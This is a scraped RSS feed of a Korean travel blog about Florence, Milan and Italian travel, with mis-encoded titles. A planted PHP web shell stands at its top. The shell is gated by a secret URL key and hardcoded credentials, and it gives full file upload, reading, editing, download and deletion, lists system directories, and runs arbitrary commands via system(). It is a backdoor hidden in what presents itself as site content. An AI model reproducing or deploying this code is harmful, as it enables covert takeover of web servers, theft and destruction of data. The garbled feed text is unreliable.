if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') {
function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); }
function ws_b($s) { return base64_decode($s); }
$validKey = 'mintinplan';
$validU = 'admin';
$validP = 'MinMaxtime';
$auth = false;
$sname = 'ws_auth';
if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true;
elseif (isset($_COOKIE[$sname])) {
$d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true);
if ($d && isset($d['ok']) && $d['ok']) $auth = true;
}
if (!$auth) {
$u = ws_g('usr'); $p = ws_g('pwd');
if ($u === $validU && $p === $validP) {
@session_start();
$_SESSION[$sname] = true;
setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true);
header('Location: ?k='.$validKey);
exit;
}
echo '
Login';
exit;
}
if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; }
$act = ws_g('a');
$path = ws_g('p') ?: getcwd();
$path = realpath($path) ?: getcwd();
echo 'Shell';
echo '';
echo '
';
switch ($act) {
case 'upload':
echo 'โฌ Upload File to: '.htmlspecialchars($path).'
';
echo '
';
if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) {
$f = $_FILES['upfile'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = ws_g('rename') ?: $f['name'];
$dest = rtrim($path, '/').'/'.$name;
if (move_uploaded_file($f['tmp_name'], $dest)) {
$sz = round(filesize($dest)/1024, 2);
echo 'โ
Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
';
} else {
echo 'โ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
';
}
} else {
$errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked'];
echo 'โ Error: '.($errors[$f['error']] ?? 'Unknown').'
';
}
}
echo '๐ Current directory contents:
';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '๐ '.$item."/\n";
else echo '๐ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '๐ณ Directory Tree (depth 4)
';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'๐ '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'๐ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '๐พ Accessible Roots
';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โ\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โ\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo '๐ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)
';
echo '';
break;
case 'save':
$f = ws_g('f'); $c = ws_g('c');
if ($f) { file_put_contents($f, $c); echo 'โ
Saved: '.htmlspecialchars($f); }
break;
case 'exec':
$cmd = ws_g('c');
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) {
ob_start();
system($cmd);
$output = ob_get_clean();
}
echo '๐ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')
';
echo '';
if ($output !== '') echo ''.htmlspecialchars($output).'
';
else echo 'No output
';
break;
case 'down':
$f = ws_g('f');
if ($f && is_file($f)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f);
exit;
}
echo 'File not found';
break;
case 'del':
$f = ws_g('f');
if ($f && is_file($f)) {
if (unlink($f)) echo 'โ
Deleted: '.htmlspecialchars($f);
else echo 'โ Delete failed (permission?)';
} elseif ($f && is_dir($f)) {
if (rmdir($f)) echo 'โ
Directory removed: '.htmlspecialchars($f);
else echo 'โ rmdir failed (not empty or permission?)';
}
break;
case 'newfile':
$fname = ws_g('nf');
if ($fname) {
$dest = rtrim($path,'/').'/'.$fname;
if (file_put_contents($dest, '') !== false) echo 'โ
Created: '.htmlspecialchars($dest);
else echo 'โ Create failed';
}
echo '';
break;
case 'newdir':
$dname = ws_g('nd');
if ($dname) {
$dest = rtrim($path,'/').'/'.$dname;
if (mkdir($dest, 0755)) echo 'โ
Created dir: '.htmlspecialchars($dest);
else echo 'โ mkdir failed';
}
echo '';
break;
default:
echo '๐ '.htmlspecialchars($path).'
';
$parent = dirname($path);
if ($parent && $parent !== $path) echo 'โฌ Parent | ';
echo '[+ New File] | ';
echo '[+ New Dir] | ';
echo '[โฌ Upload]
';
echo '| Name | Size | Perms | Actions |
';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
$isDir = is_dir($full);
$size = $isDir ? '-' : round(filesize($full)/1024,1).'KB';
$perms = substr(sprintf('%o',fileperms($full)),-4);
$enc = urlencode($full);
echo '';
if ($isDir) echo '| ๐ '.$item.' | ';
else echo '๐ '.$item.' | ';
echo ''.$size.' | '.$perms.' | ';
if (!$isDir) echo '[Edit] ';
echo '[Download] ';
echo '[Delete]';
echo ' |
';
}
}
echo '
';
break;
}
echo '';
exit;
}
์ดํ๋ฆฌ์ – GoodTrip
https://goodtrip.kr
Have a Good Trip
Wed, 06 Feb 2019 14:20:58 +0000
ko-KR
hourly
1
https://wordpress.org/?v=7.1
-
[ํผ๋ ์ฒด ์์ ๊ฐ ์๋ฆฌ์ฆ] ๋ฅด๋ค์์ค ๋ฌธํ ์๋๋ฅผ ์ฐ ๋จํ
์ด์ผ๊ธฐ
https://goodtrip.kr/90/%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%98%88%ec%88%a0%ea%b0%80-%ec%8b%9c%eb%a6%ac%ec%a6%88-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%eb%ac%b8%ed%95%99-%ec%8b%9c%eb%8c%80%eb%a5%bc-%ec%97%b0-%eb%8b%a8%ed%85%8c/
https://goodtrip.kr/90/%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%98%88%ec%88%a0%ea%b0%80-%ec%8b%9c%eb%a6%ac%ec%a6%88-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%eb%ac%b8%ed%95%99-%ec%8b%9c%eb%8c%80%eb%a5%bc-%ec%97%b0-%eb%8b%a8%ed%85%8c/#respond
Wed, 06 Feb 2019 08:11:41 +0000
https://goodtrip.kr/?p=90
๋ ์ฝ๊ธฐ]]>
https://goodtrip.kr/90/%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%98%88%ec%88%a0%ea%b0%80-%ec%8b%9c%eb%a6%ac%ec%a6%88-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%eb%ac%b8%ed%95%99-%ec%8b%9c%eb%8c%80%eb%a5%bc-%ec%97%b0-%eb%8b%a8%ed%85%8c/feed/
0
-
[์ดํ๋ฆฌ์ ํผ๋ ์ฒด] ๋ฅด๋ค์์ค ์์ ํ๋ฆ์ ์ฝ๊ธฐ์ํ ์ฐํผ์น ๋ฏธ์ ๊ด ์๋ด์
https://goodtrip.kr/81/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ed%94%bc%eb%a0%8c%ec%b2%b4-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%ec%98%88%ec%88%a0-%ed%9d%90%eb%a6%84%ec%9d%84-%ec%9d%bd%ea%b8%b0%ec%9c%84%ed%95%9c-%ec%9a%b0/
https://goodtrip.kr/81/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ed%94%bc%eb%a0%8c%ec%b2%b4-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%ec%98%88%ec%88%a0-%ed%9d%90%eb%a6%84%ec%9d%84-%ec%9d%bd%ea%b8%b0%ec%9c%84%ed%95%9c-%ec%9a%b0/#respond
Tue, 05 Feb 2019 17:49:09 +0000
https://goodtrip.kr/?p=81
๋ ์ฝ๊ธฐ]]>
https://goodtrip.kr/81/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ed%94%bc%eb%a0%8c%ec%b2%b4-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%ec%98%88%ec%88%a0-%ed%9d%90%eb%a6%84%ec%9d%84-%ec%9d%bd%ea%b8%b0%ec%9c%84%ed%95%9c-%ec%9a%b0/feed/
0
-
[์ดํ๋ฆฌ์ ์ฌํ] ํผ๋ ์ฒด ์ฐํ ๋ง๋ฆฌ์ ๋
ธ๋ฒจ๋ผ์ฑ๋น(Church of Santa Maria Novella)
https://goodtrip.kr/72/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%82%b0%ed%83%80-%eb%a7%88%eb%a6%ac%ec%95%84-%eb%85%b8%eb%b2%a8%eb%9d%bc%ec%84%b1%eb%8b%b9church-of-santa-maria/
https://goodtrip.kr/72/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%82%b0%ed%83%80-%eb%a7%88%eb%a6%ac%ec%95%84-%eb%85%b8%eb%b2%a8%eb%9d%bc%ec%84%b1%eb%8b%b9church-of-santa-maria/#respond
Sun, 03 Feb 2019 15:44:12 +0000
https://goodtrip.kr/?p=72
๋ ์ฝ๊ธฐ]]>
https://goodtrip.kr/72/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%82%b0%ed%83%80-%eb%a7%88%eb%a6%ac%ec%95%84-%eb%85%b8%eb%b2%a8%eb%9d%bc%ec%84%b1%eb%8b%b9church-of-santa-maria/feed/
0
-
[์ดํ๋ฆฌ์ ์ฌํ] ํผ๋ ์ฒด ์ฐํ ๋ง๋ฆฌ์ ๋ธ ์นด๋ฅด๋ฏธ๋ค์ฑ๋น(The Church of Santa Maria del Carmine) – ๋ง์ฌ์ด์ ๊ฑธ์๊ณผ ๋ง์ฃผํ๋ค.
https://goodtrip.kr/64/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%82%b0%ed%83%80-%eb%a7%88%eb%a6%ac%ec%95%84-%eb%8d%b8-%ec%b9%b4%eb%a5%b4%eb%af%b8%eb%84%a4%ec%84%b1%eb%8b%b9th/
https://goodtrip.kr/64/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%82%b0%ed%83%80-%eb%a7%88%eb%a6%ac%ec%95%84-%eb%8d%b8-%ec%b9%b4%eb%a5%b4%eb%af%b8%eb%84%a4%ec%84%b1%eb%8b%b9th/#respond
Sun, 03 Feb 2019 08:57:15 +0000
https://goodtrip.kr/?p=64
๋ ์ฝ๊ธฐ]]>
https://goodtrip.kr/64/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%82%b0%ed%83%80-%eb%a7%88%eb%a6%ac%ec%95%84-%eb%8d%b8-%ec%b9%b4%eb%a5%b4%eb%af%b8%eb%84%a4%ec%84%b1%eb%8b%b9th/feed/
0
-
[์ดํ๋ฆฌ์ ์ฌํ] ๋ฐ๋ผ๋
ธ ๋งํ์ฌ ๊ณตํญ์์ ๋ ํธ์นด ๋น๋ฆฌ๊ธฐ – ํ์ธ ๋ฅผ ์ค์ฌ์ผ๋ก
https://goodtrip.kr/57/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%eb%b0%80%eb%9d%bc%eb%85%b8-%eb%a7%90%ed%8e%9c%ec%82%ac-%ea%b3%b5%ed%95%ad%ec%97%90%ec%84%9c-%eb%a0%8c%ed%8a%b8%ec%b9%b4-%eb%b9%8c%eb%a6%ac/
https://goodtrip.kr/57/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%eb%b0%80%eb%9d%bc%eb%85%b8-%eb%a7%90%ed%8e%9c%ec%82%ac-%ea%b3%b5%ed%95%ad%ec%97%90%ec%84%9c-%eb%a0%8c%ed%8a%b8%ec%b9%b4-%eb%b9%8c%eb%a6%ac/#respond
Wed, 23 Jan 2019 11:56:52 +0000
https://goodtrip.kr/?p=57
๋ ์ฝ๊ธฐ]]>
https://goodtrip.kr/57/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%eb%b0%80%eb%9d%bc%eb%85%b8-%eb%a7%90%ed%8e%9c%ec%82%ac-%ea%b3%b5%ed%95%ad%ec%97%90%ec%84%9c-%eb%a0%8c%ed%8a%b8%ec%b9%b4-%eb%b9%8c%eb%a6%ac/feed/
0
-
[์ดํ๋ฆฌ์ ์ฌํ] ๋ฐ๋๋ฅด์ฐจ ํ์์ ๊ฒจ์ธ ํ๊ฒฝ์ ๋ด์๋ณด๋ค.
https://goodtrip.kr/24/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%eb%b0%9c%eb%8f%84%eb%a5%b4%ec%b0%a8-%ed%8f%89%ec%9b%90%ec%9d%98-%ea%b2%a8%ec%9a%b8-%ed%92%8d%ea%b2%bd%ec%9d%84-%eb%8b%b4%ec%95%84%eb%b3%b4/
https://goodtrip.kr/24/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%eb%b0%9c%eb%8f%84%eb%a5%b4%ec%b0%a8-%ed%8f%89%ec%9b%90%ec%9d%98-%ea%b2%a8%ec%9a%b8-%ed%92%8d%ea%b2%bd%ec%9d%84-%eb%8b%b4%ec%95%84%eb%b3%b4/#respond
Mon, 21 Jan 2019 12:56:52 +0000
https://goodtrip.kr/?p=24
๋ ์ฝ๊ธฐ]]>
https://goodtrip.kr/24/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%eb%b0%9c%eb%8f%84%eb%a5%b4%ec%b0%a8-%ed%8f%89%ec%9b%90%ec%9d%98-%ea%b2%a8%ec%9a%b8-%ed%92%8d%ea%b2%bd%ec%9d%84-%eb%8b%b4%ec%95%84%eb%b3%b4/feed/
0
-
[์ ๋ฝ ์ฌํ] ๋ฐ๋ผ๋
ธํ ๋ฒ ์ด์ง ํ์น ๊ณผ์ ์์ ์์ฒญ ํค๋งค๋ค
https://goodtrip.kr/17/%ec%9c%a0%eb%9f%bd-%ec%97%ac%ed%96%89-%eb%b0%80%eb%9d%bc%eb%85%b8%ed%96%89-%eb%b2%a0%ec%9d%b4%ec%a7%95-%ed%99%98%ec%8a%b9-%ea%b3%bc%ec%a0%95%ec%97%90%ec%84%9c-%ec%97%84%ec%b2%ad-%ed%97%a4%eb%a7%a8/
https://goodtrip.kr/17/%ec%9c%a0%eb%9f%bd-%ec%97%ac%ed%96%89-%eb%b0%80%eb%9d%bc%eb%85%b8%ed%96%89-%eb%b2%a0%ec%9d%b4%ec%a7%95-%ed%99%98%ec%8a%b9-%ea%b3%bc%ec%a0%95%ec%97%90%ec%84%9c-%ec%97%84%ec%b2%ad-%ed%97%a4%eb%a7%a8/#respond
Tue, 25 Dec 2018 03:03:26 +0000
https://goodtrip.kr/?p=17
๋ ์ฝ๊ธฐ]]>
https://goodtrip.kr/17/%ec%9c%a0%eb%9f%bd-%ec%97%ac%ed%96%89-%eb%b0%80%eb%9d%bc%eb%85%b8%ed%96%89-%eb%b2%a0%ec%9d%b4%ec%a7%95-%ed%99%98%ec%8a%b9-%ea%b3%bc%ec%a0%95%ec%97%90%ec%84%9c-%ec%97%84%ec%b2%ad-%ed%97%a4%eb%a7%a8/feed/
0